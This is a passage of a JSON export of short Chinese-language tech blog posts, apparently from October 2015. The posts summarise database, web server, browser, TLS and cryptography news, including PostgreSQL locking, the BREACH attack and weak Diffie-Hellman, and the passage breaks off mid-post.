    "body": "在「<a href=\"http://highscalability.com/blog/2015/10/13/more-concurrency-improved-locking-in-postgresql.html\">More Concurrency: Improved Locking In PostgreSQL</a>」這邊提到 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 的 Row Locking 的改善，也就是 <code>SELECT ... FOR UPDATE</code> 與 <code>SELECT ... FOR SHARE</code>。\r\n\r\n查了一下 <code>SELECT</code> 的文件，在 7.2 開始提供 <code>FOR UPDATE</code> (<a href=\"http://www.postgresql.org/docs/7.2/static/sql-select.html\">PostgreSQL: Documentation: 7.2: SELECT</a>)，在 8.1 開始提供 <code>FOR SHARE</code> (<a href=\"http://www.postgresql.org/docs/8.1/static/sql-select.html\">PostgreSQL: Documentation: 8.1: SELECT</a>)，以維基百科上的紀錄來看，7.2 是 2002 年二月，8.1 是 2005 年十一月，都是已經提很久的功能了。\r\n\r\n用 <code>FOR UPDATE</code> 與 <code>FOR SHARE</code> 可以降低對 transaction 的依賴程度，PostgreSQL 的預設值是 <code>READ COMMITTED</code>，配合 Row Locking 就已經可以做到不少效果了，不需要用到 <code>SERIALIZABLE</code> 等級。\r\n\r\n而在最新的 PostgreSQL 9.5 (目前還是開發版)，則又多提供了 <code>FOR UPDATE SKIP LOCKED</code> 功能，以官方提供的範例來說，就可以直接避開選位造成的 lock 問題了：\r\n\r\n<blockquote>This makes sense because 100 users checking for a free seat concurrently will get 100 different rows. The consequence is that you are not stuck with 1 CPU but you can nicely scale out to all CPUs in the system. As conflicts cannot happen anymore, nobody has to wait on somebody else.</blockquote>\r\n\r\n對 locking 控制的更細微。",
    "title": "PostgreSQL 9.5 預定提供的 Row Locking 改善"
  },
  {
    "id": "6052",
    "body": "在「<a href=\"https://www.keycdn.com/blog/blocking-the-dom/\">Perceived Web Performance – What Is Blocking the DOM?</a>」這邊看到 <a href=\"https://developers.google.com/speed/pagespeed/insights/\">Google PageSpeed Insights</a>，突然發現我的 <a href=\"http://nginx.org/\">nginx</a> 設定還是有打開 gzip，而目前因為 <a href=\"https://en.wikipedia.org/wiki/BREACH_(security_exploit)\">BREACH</a> 攻擊的關係，有 cookie 的 SSL/TLS 下不應該開 gzip：\r\n\r\n<pre>gzip off;</pre>\r\n\r\n目前好像沒有比較好的解法可以對抗 BREACH...",
    "title": "完全關閉 HTTPS 的 gzip"
  },
  {
    "id": "6053",
    "body": "剛剛出的 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 46 除了安全性更新外，還修改了在 Mixed Content 時的 HTTPS icon：「<a href=\"https://googleonlinesecurity.blogspot.com/2015/10/simplifying-page-security-icon-in-chrome.html\">Simplifying the Page Security Icon in Chrome</a>」。\r\n\r\n官方的這張圖就給了不錯的解釋：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OMSDL1a.webp\" /><img src=\"https://i.gslin.com/imgur/OMSDL1a.jpg\" alt=\"\" /></picture>\r\n\r\n本來是用黃色三角形表示，現在直接變成跟 HTTP 一樣沒有 Secure Icon，這樣減少了使用者要了解的情況：\r\n\r\n<blockquote>This change will reduce the number of page security states in Chrome from four to three.</blockquote>\r\n\r\n而接下來還打算再減少：\r\n\r\n<blockquote>In the long term, we hope that most sites on the internet will become secure, and we <a href=\"https://www.chromium.org/Home/chromium-security/marking-http-as-non-secure\">plan</a> to reduce the icon to just two states: secure and not secure. The change announced in this post is a small step in that direction.</blockquote>",
    "title": "Google Chrome 46 修改 Mixed Content 的 HTTPS Icon"
  },
  {
    "id": "6054",
    "body": "Percona 寫的「<a href=\"https://www.percona.com/blog/2015/10/13/mysql-query-digest-with-performance-schema/\">MySQL query digest with Performance Schema</a>」這篇提到了 <a href=\"https://dev.mysql.com/doc/refman/5.6/en/\">MySQL 5.6</a> 的 Performance Schema 裡的 <code>events_statements_summary_by_digest</code> 相當好用，實際在系統上翻了翻發現算是非常實用的資料。\r\n\r\n首先先看這個表格實際的內容，由於文字塞不動，就改用圖片了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/s0ddxLt.webp\" /><img src=\"https://i.gslin.com/imgur/s0ddxLt.jpg\" alt=\"\" /></picture>\r\n\r\n可以試著用 <code>SELECT * FROM performance_schema.events_statements_summary_by_digest LIMIT 1 G</code> 之類的指令看到裡面的值，像是這樣：(裡面有些欄位名稱我換掉了，換掉的部份用刪節號標示)\r\n\r\n<pre>                SCHEMA_NAME: kkbox\r\n                     DIGEST: 490a2e363ba7840843733e219175e2a7\r\n                DIGEST_TEXT: SELECT * FROM `<del>table1</del>` WHERE TYPE = ? AND `<del>column1</del>` IN (?) AND STATUS IN (...) ORDER BY STATUS DESC , `created_at` DESC , `id` DESC \r\n                 COUNT_STAR: 299179761\r\n             SUM_TIMER_WAIT: 215069693134746000\r\n             MIN_TIMER_WAIT: 130241000\r\n             AVG_TIMER_WAIT: 718864000\r\n             MAX_TIMER_WAIT: 54442047235000\r\n              SUM_LOCK_TIME: 21915487179000000\r\n                 SUM_ERRORS: 0\r\n               SUM_WARNINGS: 0\r\n          SUM_ROWS_AFFECTED: 0\r\n              SUM_ROWS_SENT: 1240784631\r\n          SUM_ROWS_EXAMINED: 2499118409\r\nSUM_CREATED_TMP_DISK_TABLES: 0\r\n     SUM_CREATED_TMP_TABLES: 0\r\n       SUM_SELECT_FULL_JOIN: 0\r\n SUM_SELECT_FULL_RANGE_JOIN: 0\r\n           SUM_SELECT_RANGE: 0\r\n     SUM_SELECT_RANGE_CHECK: 0\r\n            SUM_SELECT_SCAN: 0\r\n      SUM_SORT_MERGE_PASSES: 2630\r\n             SUM_SORT_RANGE: 299196698\r\n              SUM_SORT_ROWS: 1240808755\r\n              SUM_SORT_SCAN: 0\r\n          SUM_NO_INDEX_USED: 0\r\n     SUM_NO_GOOD_INDEX_USED: 0\r\n                 FIRST_SEEN: 2015-09-17 20:41:15\r\n                  LAST_SEEN: 2015-10-15 01:06:10</pre>\r\n\r\n其中 <code>DIGEST_TEXT</code> 是 SQL query，可以看到 <code>IN</code> 裡面的東西會被整合起來，而 <code>COUNT_STAR</code> 是次數，後面的 <code>AVG_TIMER_WAIT</code> 單位是 10<sup>-12</sup> 秒，除以 10<sup>9</sup> 後才會變成 ms。\r\n\r\n裡面的資訊對於 DBA 在 tune 效能時應該是很有用...",
    "title": "用 MySQL 5.6 的 Performance Schema 觀察系統效能"
  },
  {
    "id": "6055",
    "body": "依照往例，<a href=\"https://www.backblaze.com/\">Backblaze</a> 每一季結束後不久會放出上一季的硬碟故障率報告：「<a href=\"https://www.backblaze.com/blog/hard-drive-reliability-q3-2015/\">What Can 49,056 Hard Drives Tell Us? Hard Drive Reliability Stats for Q3 2015</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p4do2j3.webp\" /><img src=\"https://i.gslin.com/imgur/p4do2j3.jpg\" alt=\"\" /></picture>\r\n\r\n如果仔細看的話，小硬碟中 <a href=\"http://www.seagate.com/\">Seagate</a> 的死亡率還是很高 (尤其是 ST1500DL003 與 ST3000DM001 這兩顆驚人的數字)，而大硬碟 (i.e. 4TB 以上) 都還算合理範圍。\r\n\r\n值得提的是，其中 <a href=\"https://www.hgst.com/\">HGST</a> 的硬碟死亡率比起其他家低了不少？",
    "title": "Backblaze 的 2015 Q3 硬碟故障率報告"
  },
  {
    "id": "6056",
    "body": "由於 TCP timestamps 會使得封包多 12 bytes，關掉後可以在 LAN 裡面擠出頻寬，是個小孩子不要亂學的方法：「<a href=\"http://highscalability.com/blog/2015/10/14/save-some-bandwidth-by-turning-off-tcp-timestamps.html\">Save Some Bandwidth By Turning Off TCP Timestamps</a>」。\r\n\r\n文章裡是在 10Gbps 網路上測試，看測出來的圖片也只是一點點 (不到 1%)，但仍然是有提昇：\r\n\r\n<blockquote>Results show that it's reasonable to turn off timestamps on 10GE interfaces, but keep in mind that it should be performed only in low latency networks.</blockquote>\r\n\r\n沒必要就不要亂動 :o",
    "title": "在 LAN 裡把 TCP timestamps 關閉擠出頻寬"
  },
  {
    "id": "6057",
    "body": "<a href=\"http://www.haproxy.org/\">HAProxy</a> 1.6.0 出版的公告文章：「<a href=\"http://blog.haproxy.com/2015/10/14/whats-new-in-haproxy-1-6/\">[ANNOUNCE] HAProxy 1.6.0 released</a>」。\r\n\r\n兩個大功能，第一個是「It’s 2015, let’s use QUOTE in configuration file」，可以用引號了... 另外一個是「Lua Scripting」，需要 <a href=\"http://www.lua.org/\">Lua</a> 5.3+。\r\n\r\n還有提到一些改進，像是支援 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a>，以及對 HTTP/2 的計畫。",
    "title": "HAProxy 1.6 的兩個大功能：Quote 以及 Lua"
  },
  {
    "id": "6058",
    "body": "在「<a href=\"https://www.macstories.net/linked/the-background-data-and-battery-usage-of-facebooks-ios-app/\">The Background Data and Battery Usage of Facebook’s iOS App</a>」這邊提到 <a href=\"https://itunes.apple.com/us/app/facebook/id284882215?mt=8\">Facebook App</a> 在 <a href=\"https://www.apple.com/ios/\">iOS</a> 上使用了非常吃電的技巧來強制背景更新。\r\n\r\n作者猜測，如果你把 Facebook App 設定成不允許背景更新，那麼 Facebook App 會利用 iOS 在「播放音樂」可以在背景執行來進行更新：(所以只是打開播放的 channel，但是沒有聲音)\r\n\r\n<blockquote>My guess is that Facebook is hijacking audio sessions on iOS by keeping silent audio in the background whenever a video plays in the app. And because, by default, videos on Facebook auto-play on both Wi-Fi and Cellular and few people ever bother to turn it off, that means there's a high chance the Facebook app will always find a way to play a video, keep audio in the background, and consume energy to perform background tasks.</blockquote>\r\n\r\n而且有些人也發現了類似的現象：\r\n\r\n<blockquote><a href=\"https://www.reddit.com/r/facebook/comments/3e0iun/facebook_app_audio_iphone_6_battery_usage_issue/\">I'm not alone</a> in <a href=\"https://twitter.com/abrahamvegh/status/649035029239209984\">noticing</a> the <a href=\"https://discussions.apple.com/thread/7197241\">mysterious</a> \"Facebook audio\" background consumption, and video auto-play seems to me the most likely explanation at this point. I don't know if turning off auto-play may fix the problem, but I'd recommend doing that anyway to save data.</blockquote>\r\n\r\n印象中我們家的 <a href=\"http://zonble.net/\">zonble</a> 也有提過類似的事情，當時他好像還有抱怨不知道 Facebook App 在搞什麼鬼... Anyway，這就可以理解作者提到為什麼這麼吃電：\r\n\r\n<blockquote>On my girlfriend's iPhone, for instance, iOS 9 reports 5 hours of on-screen usage for the last 7 days, and another 11 hours of background audio usage with Background App Refresh turned off.</blockquote>\r\n\r\n我的想法是，如果不用的時候就按兩下 home 鍵把 Facebook App 整個踢出去，或者就如同作者建議用 <a href=\"https://www.apple.com/safari/\">Safari</a> 開行動版本：\r\n\r\n<blockquote>I wonder if Apple should consider additional battery controls to take action against shady practices like invisible background audio. What Facebook is doing shows a deep lack of respect for iOS users. I continue to recommend using Safari instead.</blockquote>",
    "title": "在 iOS 上不使用 Facebook App 時要完全砍掉 process"
  },
  {
    "id": "6059",
    "body": "<a href=\"http://redis.io/\">Redis</a> 官方說明 Secondary Indexing 的文件：「<a href=\"http://redis.io/topics/indexes\">Secondary indexing with Redis</a>」。\r\n\r\nSecondary Indexing 算是 RDBMS 最底層基礎功能，如果有了這個功能已經可以做非常多事情... 查了文章裡提到的 Z* 系列指令是在 3.0.2 支援的 (目前是 3.0.4)，看起來這個功能很新，不知道實際上跑起來跟 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 拼的效能如何... (因為 PostgreSQL 也可以自訂 Index 的內容)",
    "title": "Redis 的 Secondary Indexing"
  },
  {
    "id": "6060",
    "body": "Scylla 是出自希臘神話，維基百科對應的連結：「<a href=\"https://zh.wikipedia.org/wiki/%E6%96%AF%E5%BA%93%E6%8B%89\">斯庫拉</a>」、「<a href=\"https://en.wikipedia.org/wiki/Scylla\">Scylla</a>」。而在 <a href=\"http://www.scylladb.com/\">ScyllaDB</a> 官網副標題寫著：\r\n\r\n<blockquote>Fully compatible with Apache Cassandra at 10x the throughput and jaw dropping low latency</blockquote>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Java_virtual_machine\">JVM</a> 的 GC 老問題在 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 中帶來的 latency 不穩定本來就是個痛苦的問題，要花很多力氣去調整，而用 C++ 改寫等於是自己處理這一塊。\r\n\r\n這帶來的效能提昇可以從各種測試結果看出來，像是單機的測試：「<a href=\"http://www.scylladb.com/technology/cassandra-vs-scylla-benchmark-2/\">Scylla vs. Cassandra benchmark</a>」，以及多機的測試：「<a href=\"http://www.scylladb.com/technology/cassandra-vs-scylla-benchmark-cluster-1/\">Scylla vs. Cassandra benchmark (cluster)</a>」(可以參考下圖)。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3yP9eLi.webp\" /><img src=\"https://i.gslin.com/imgur/3yP9eLi.jpg\" alt=\"\" /></picture>\r\n\r\n而 Latency 的改善也是極為明顯：「<a href=\"http://www.scylladb.com/technology/cassandra-vs-scylla-latency-benchmark/\">Latency benchmark</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/b4kWXyI.webp\" /><img src=\"https://i.gslin.com/imgur/b4kWXyI.jpg\" alt=\"\" /></picture>\r\n\r\n其中另外一個重要的技術是 <a href=\"http://www.intel.com/\">Intel</a> 的 <a href=\"http://dpdk.org/\">DPDK</a>，可以大幅降低現有 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 在網路架構上的損耗：「<a href=\"http://www.scylladb.com/technology/network/\">Dedicated fast network stack for modern hardware</a>」。\r\n\r\n很有趣的專案，好久沒碰 Cassandra 了...",
    "title": "ScyllaDB：用 C++ 改寫相容於 Cassandra 的系統"
  },
  {
    "id": "6061",
    "body": "在 <a href=\"http://zite.com/\">Zite</a> 上突然看到 <a href=\"https://github.com/icing/mod_h2\">mod_h2</a> 的文章，想說不是早就放出來很久了嗎... 仔細看才發現是 <a href=\"https://httpd.apache.org/\">Apache HTTP Server</a> 2.4.17 發行了：「<a href=\"https://icing.github.io/mod_h2/howto.html\">how to h2 in apache</a>」。\r\n\r\n<blockquote>Support for HTTP/2 is finally being released with Apache httpd 2.4.17! This pages gives advice on how to build/deploy/configure it. The plan is to update this as people find out new things (read: bugs) or give recommendations on what works best for them.</blockquote>\r\n\r\n另外在「<a href=\"https://www.apache.org/dist/httpd/Announcement2.4.html\">Apache HTTP Server 2.4.17 Released</a>」這邊可以看到公告，不過官方每次改版都直接改掉這個檔案 (沒有存檔)，如果要看歷史紀錄的話到 <a href=\"https://archive.org/web/\">Internet Archive: Wayback Machine</a> 的頁面上看吧：「<a href=\"https://web.archive.org/web/*/https://www.apache.org/dist/httpd/Announcement2.4.html\">https://web.archive.org/web/*/https://www.apache.org/dist/httpd/Announcement2.4.html</a>」。\r\n\r\n這樣兩個主流 web server 都支援 <a href=\"https://http2.github.io/\">HTTP/2</a> 了，接下來最主要的問題是 <a href=\"https://www.android.com/\">Android</a> 對 HTTP/2 的支援度：「<a href=\"http://caniuse.com/#feat=http2\">HTTP/2 protocol</a>」，要等舊版逐漸淘汰掉...",
    "title": "Apache 2.4.17：內建支援 HTTP/2"
  },
  {
    "id": "6062",
    "body": "<a href=\"https://eprint.iacr.org/2015/1000\">Cryptology ePrint Archive</a> 上面剛好是 2015 年編號 1000 號的論文：「<a href=\"https://eprint.iacr.org/2015/1000\">Factoring as a Service</a>」。透過 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 服務以及 <a href=\"http://cado-nfs.gforge.inria.fr/\">CADO-NFS</a> 的幫助，四小時內就可以解出 512bits RSA，而如同作者說的，雖然已經很不安全了，但在許多地方仍然被使用著：\r\n\r\n<blockquote>The difficulty of integer factorization is fundamental to modern cryptographic security using RSA encryption and signatures. Although a 512-bit RSA modulus was first factored in 1999, 512-bit RSA remains surprisingly common in practice across many cryptographic protocols. Popular understanding of the difficulty of 512-bit factorization does not seem to have kept pace with developments in computing power. In this paper, we optimize the CADO-NFS and Msieve implementations of the number field sieve for use on the Amazon Elastic Compute Cloud platform, allowing a non-expert to factor 512-bit RSA public keys in under four hours for $75. We go on to survey the RSA key sizes used in popular protocols, finding hundreds or thousands of deployed 512-bit RSA keys in DNSSEC, HTTPS, IMAP, POP3, SMTP, DKIM, SSH, and PGP.</blockquote>\r\n\r\n另外也有專案網站：「<a href=\"http://seclab.upenn.edu/projects/faas/\">Factoring as a Service</a>」，程式碼也有放上 <a href=\"https://github.com/\">GitHub</a>：「<a href=\"https://github.com/eniac/faas\">Factoring as a Service</a>」。",
    "title": "USD$75 解 RSA 512bits"
  },
  {
    "id": "6063",
    "body": "在「<a href=\"https://freedom-to-tinker.com/blog/haldermanheninger/how-is-nsa-breaking-so-much-crypto/\">How is NSA breaking so much crypto?</a>」這邊提到了 2012 年有文章說明 <a href=\"https://www.nsa.gov/\">NSA</a> 有能力解開部份的加密通訊，而後來 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Snowden</a> 所提供的資料也證實了這點：\r\n\r\n<blockquote>In 2012, James Bamford published an article quoting anonymous former NSA officials stating that the agency had achieved a “computing breakthrough” that gave them “the ability to crack current public encryption.” The Snowden documents also hint at some extraordinary capabilities: they show that NSA has built extensive infrastructure to intercept and decrypt VPN traffic and suggest that the agency can decrypt at least some HTTPS and SSH connections on demand.</blockquote>\r\n\r\n但在這之前一直都不清楚是怎麼解出來的，直到最近才猜測應該是 <a href=\"https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange\">Diffie-Hellman</a> 的強度以及實作問題：「<a href=\"https://weakdh.org/imperfect-forward-secrecy-ccs15.pdf\">Imperfect Forward Secrecy: How Diffie-Hellman Fails in Practice</a>」。\r\n\r\n而成果其實非常驚人，由於強度不夠以及實作問題，有相當可觀的數量是可被攻擊的：\r\n\r\n<blockquote>We go on to consider Diffie-Hellman with 768- and 1024-bit groups. We estimate that even in the 1024-bit case, the computations are plausible given nation-state resources. A small number of fixed or standardized groups are used by millions of servers; performing precomputation for a single 1024-bit group would allow passive eavesdropping on 18% of popular HTTPS sites, and a second group would allow decryption of traffic to 66% of IPsec VPNs and 26% of SSH servers. A close reading of published NSA leaks shows that the agency’s attacks on VPNs are consistent with having achieved such a break. We conclude that moving to stronger key exchange methods should be a priority for the Internet community.</blockquote>\r\n\r\n作者群給的建議有三個方向，一個是把長度加長到 2048 bits，另外一個是改用 <a href=\"https://en.wikipedia.org/wiki/Elliptic_curve_Diffie%E2%80%93Hellman\">ECDH</a>，而最差的情況 (如果還是需要使用 1024 bits DH) 則是避免使用固定的 prime number。",
    "title": "在攻擊時總是挑最弱的一環：NSA 對 DH 的攻擊"
  },
  {
    "id": "6064",
    "body": "在 <a href=\"https://imgur.com/\">Imgur</a> 上看到「<a href=\"https://imgur.com/zYC1QG6\">Paris is reusing some abandoned subways as swimming pools.</a>」：\r\n\r\n<img src=\"https://i.gslin.com/imgur/zYC1QG6.jpg\" alt=\"\" />\r\n\r\n但下面第一個 comment 的連結：\r\n\r\n<blockquote>We did the same thing in New York http://imgur.com/qGd3QLw</blockquote>\r\n\r\n點進去：\r\n\r\n<img src=\"https://i.gslin.com/imgur/qGd3QLw.jpg\" alt=\"\" />\r\n\r\n笑噴 XDDD\r\n\r\nPS：可以參考「<a href=\"http://www.adaymag.com/2014/02/08/paris-abandoned-metro-stations-may-turned-pools-resturants.html\">巴黎廢棄地鐵站 “Ghost Stations” 再利用計劃，月台變身餐廳、劇院、游泳池</a>」這篇文章。",
    "title": "巴黎廢棄的地鐵站的游泳池計畫..."
  },
  {
    "id": "6065",
    "body": "<a href=\"https://squareup.com/\">Square</a> 丟出 IPO 申請：「<a href=\"https://squareup.com/news/sq\">Square Files Registration Statement for Proposed Initial Public Offering</a>」，其中參與的單位包括：\r\n\r\n<blockquote>Goldman, Sachs & Co., Morgan Stanley, and J.P. Morgan are acting as lead joint book-running managers for the proposed offering. Barclays, Deutsche Bank Securities, Jefferies, RBC Capital Markets, and Stifel are acting as additional book-running managers for the proposed offering, and LOYAL3 Securities, Inc. is acting as a co-manager.</blockquote>\r\n\r\n維基百科上的「<a href=\"https://en.wikipedia.org/wiki/Square,_Inc.\">Square, Inc.</a>」有整理過的歷史資料。2009 年創立，2010 年五月上線的公司，從 Series A 跑到 Series E。",
    "title": "Square 申請 IPO"
  },
  {
    "id": "6066",
    "body": "在「<a href=\"https://top.fse.guru/nodejs-a-quick-optimization-advice-7353b820c92e\">#NodeJS : A quick optimization advice</a>」這邊看到這樣的效能改善方法... 兩段程式碼，只差在註解：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LegYz6N.webp\" /><img src=\"https://i.gslin.com/imgur/LegYz6N.jpg\" alt=\"\" /></picture>\r\n\r\n效能差了 50%：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tGuorJ2.webp\" /><img src=\"https://i.gslin.com/imgur/tGuorJ2.jpg\" alt=\"\" /></picture>\r\n\r\n只是因為註解的長度有差，只要用 <code>--max-inlined-source-size</code> 調整就可以避開了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cJSKMLw.webp\" /><img src=\"https://i.gslin.com/imgur/cJSKMLw.jpg\" alt=\"\" /></picture>\r\n\r\n超苦超無奈：\r\n\r\n<blockquote>So when you have a function or callback that’ll be called repeatedly, try to make it under 600 characters (or your tweaked value), you’ll have a quick win !</blockquote>",
    "title": "減少「註解長度」增加 Node.js 效率..."
  },
  {
    "id": "6067",
    "body": "在「<a href=\"http://jordan-wright.com/blog/2015/09/30/how-to-download-a-list-of-all-registered-domain-names/\">How to Download a List of All Registered Domain Names</a>」這邊介紹了 .com、.net 以及 .name 的 zone file 怎麼申請與下載 (由 <a href=\"https://www.verisign.com/\">Verisign</a> 維護的三個 tld)。\r\n\r\n另外也介紹了 <a href=\"https://czds.icann.org/\">Centralized Zone Data Service</a>，包括所有的 tld，以及 <a href=\"https://www.icann.org/\">ICANN</a> 提供的 API。\r\n\r\n這樣應該有很多資料可以分析？",
    "title": "取得某些 tld 所有的 Domain Name"
  },
  {
    "id": "6068",
    "body": "Google 的書本掃描服務被認定為合理使用：「<a href=\"http://www.bloomberg.com/news/articles/2015-10-16/google-wins-appeals-court-approval-of-book-scanning-project-iftpwxl3\">Google's Book-Scanning Project Ruled to Be Legal `Fair Use'</a>」。\r\n\r\n<blockquote>“Google’s unauthorized digitizing of copyright-protected works, creation of a search functionality and display of snippets from those works are non-infringing fair uses,” U.S. Circuit Judge Pierre Leval wrote on behalf of the court. “The purpose of the copying is highly transformative, the public display of text is limited and the revelations do not provide a significant market substitute for the protected aspects of the originals.”</blockquote>\r\n\r\n看起來是一路打到<a href=\"https://zh.wikipedia.org/wiki/%E7%BE%8E%E5%9B%BD%E8%81%94%E9%82%A6%E7%AC%AC%E4%BA%8C%E5%B7%A1%E5%9B%9E%E4%B8%8A%E8%AF%89%E6%B3%95%E9%99%A2\">第二巡迴上訴法院</a>了？(負責紐約地區)",
    "title": "Google 的書本掃描服務被認定為「合理使用」"
  },
  {
    "id": "6069",
    "body": "有人把 <a href=\"https://www.apple.com/osx/\">OS X</a> El Capitan 的軟體授權文件翻譯成白話的 22 條英文說明：「<a href=\"http://robb.weblaws.org/2015/10/17/os-x-el-capitan-license-in-plain-english/\">OS X El Capitan License: in Plain English</a>」，也就是這份文件：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/n6P98ZQ.webp\" /><img src=\"https://i.gslin.com/imgur/n6P98ZQ.jpg\" alt=\"\" /></picture>\r\n\r\n其實有不少有趣 (?) 的設計...",
    "title": "OS X El Capitan (10.11) 軟體授權文件的白話翻譯"
  },
  {
    "id": "6070",
    "body": "在「<a href=\"http://www.mattermost.org/open-source-slack-alternative-reaches-1-0/\">Open source Slack-alternative reaches 1.0: Self-host ready, Slack-compatible, MIT licensed</a>」這邊看到 <a href=\"http://www.mattermost.org/\">Mattermost</a> 這套 Slack clone，而 Mattermost 的標語是：\r\n\r\n<blockquote>Mattermost is an open source, on-prem Slack-alternative</blockquote>\r\n\r\n後面也是弄了一個團隊 (<a href=\"http://www.mattermost.org/team/\">Team</a>)，有種 <a href=\"https://gitlab.com/\">GitLab</a> 的感覺...",
    "title": "又一個 Open Source 版本的 Slack Clone：Mattermost"
  },
  {
    "id": "6071",
    "body": "依照 <a href=\"http://www.netcraft.com/\">Netcraft</a> 的說明，還有超過 20% 的網站使用 SHA-1 certificate：「<a href=\"http://news.netcraft.com/archives/2015/10/19/one-million-ssl-certificates-still-using-insecure-sha-1-algorithm.html\">One million SSL certificates still using “insecure” SHA-1 algorithm</a>」。\r\n\r\n雖然轉換速度算是很快了，不過本來依照進度，2015 年底瀏覽器就應該要把 SHA-1 certificate 認為不安全 (於是失效)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Qwxa8qE.webp\" /><img src=\"https://i.gslin.com/imgur/Qwxa8qE.jpg\" alt=\"\" /></picture>\r\n\r\n照目前速度，今年年底應該只能掉到 10% 左右吧...",
    "title": "還有超過 20% 的網站使用 SHA-1 憑證"
  },
  {
    "id": "6072",
    "body": "在「<a href=\"http://www.slideshare.net/lmatteis/kudos-a-peertopeer-discussion-system-based-on-social-voting\">Kudos - A Peer-to-Peer Discussion System Based on Social Voting</a>」這邊看到分散式的論壇系統，帶有投票分數機制以及相關議題機制：\r\n\r\n<blockquote>Decentralized Reddit using a DHT to store content and a blockchain to rank such content. Whitepaper with more details here: http://lucaa.org/docs/kudos.pdf</blockquote>\r\n\r\n論文裡面可以看出來設計的觀念受到 <a href=\"https://bitcoin.org/\">Bitcoin</a> 的啟發，演算法也是... 換句話說，Bitcoin 帶來的影響遠遠超過金融市場，Bitcoin 所使用的理論也給其他領域很多想法。\r\n\r\n如果這樣的系統可行的話 (還沒仔細研究 @_@)，真正分散式的論壇系統就會出現了...",
    "title": "分散式的論壇系統"
  },
  {
    "id": "6073",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 是個新的 CA (Certificate Authority)，由許多單位提供資源希望藉由免費的 SSL/TLS certificate 讓 Internet 更安全。\r\n\r\n九月的進度是已經成功建立 CA 機制 (包括第三方稽核)，並且向各瀏覽器申請加入，同時也找 <a href=\"https://www.identrust.com/\">IdenTrust</a> 申請 cross sign：「<a href=\"https://blog.gslin.org/archives/2015/09/15/5976/lets-encrypt-%E7%9A%84%E6%96%B0%E9%80%B2%E5%B1%95/\">Let's Encrypt 的新進展</a>」。\r\n\r\n所以兩條路都可行，就是看哪邊比較快。如果瀏覽器先放行了，那麼就是透過 Root CA 直接可以認證。如果是 IdenTrust 先 cross sign，那麼就是透過 IdenTrust 的 Root CA 認證下來。\r\n\r\n沒什麼意外的，IdenTrust 的先簽下來了：「<a href=\"https://letsencrypt.org/2015/10/19/lets-encrypt-is-trusted.html\">Let's Encrypt is Trusted</a>」。\r\n\r\n利用 <a href=\"https://www.ssllabs.com/\">Qualys SSL Labs</a> 的 <a href=\"https://www.ssllabs.com/ssltest/\">SSL Server Test</a> 可以看到在「<a href=\"https://helloworld.letsencrypt.org/\">https://helloworld.letsencrypt.org/</a>」這邊的 Demo Site 是從 <a href=\"https://ssl-tools.net/subjects/6ff4684d4312d24862819cc02b3d472c1d8a2fa6\">DST Root CA X3</a> 簽給 <a href=\"https://letsencrypt.org/certificates/\">Let's Encrypt Authority X1</a> 再簽給 helloworld.letsencrypt.org 的記錄：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SHFGWe5.webp\" /><img src=\"https://i.gslin.com/imgur/SHFGWe5.jpg\" alt=\"\" /></picture>\r\n\r\n接下來就是等最後開放給一般人申請了...",
    "title": "Let's Encrypt 正式出發"
  },
  {
    "id": "6074",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 宣佈 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions\">DNSSEC</a> 開放 Open Beta：「<a href=\"https://blog.cloudflare.com/dnssec-is-open-for-beta/\">DNSSEC is Open for Beta</a>」。\r\n\r\n常見的 gTLD 以及幾個 ccTLD 好像都有支援 DNSSEC (<a href=\"https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains\">List of Internet top-level domains</a>)，來搬一些上去測試看看 :o",
    "title": "CloudFlare 支援 DNSSEC (Open Beta)"
  },
  {
    "id": "6075",
    "body": "<a href=\"https://www.keycdn.com/\">KeyCDN</a> 是目前幾個有支援 HTTP/2 的 CDN 其中一個，所以有這個數字可以看：「<a href=\"https://www.keycdn.com/blog/http2-statistics/\">HTTP/2 Statistics: KeyCDN Report on HTTP/2 Distribution</a>」。可以看到 HTTPS 流量中，HTTP/2 的流量已經超過 HTTP/1.1：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DLqJHsH.webp\" /><img src=\"https://i.gslin.com/imgur/DLqJHsH.jpg\" alt=\"\" /></picture>\r\n\r\n另外有個有趣的數據，是 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 上 HTTPS 的比率比 HTTP 高出不少：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p lang=\"en\" dir=\"ltr\">over the past year the number of HTTPS navigations in Chrome has grown by ~5% (up to ~63%): <a href=\"https://t.co/9fksNNOLdD\">https://t.co/9fksNNOLdD</a> <a href=\"http://t.co/NVrZCjrMD2\">pic.twitter.com/NVrZCjrMD2</a></p>&mdash; Ilya Grigorik (@igrigorik) <a href=\"https://twitter.com/igrigorik/status/653940463909662720\">October 13, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n其中 2013 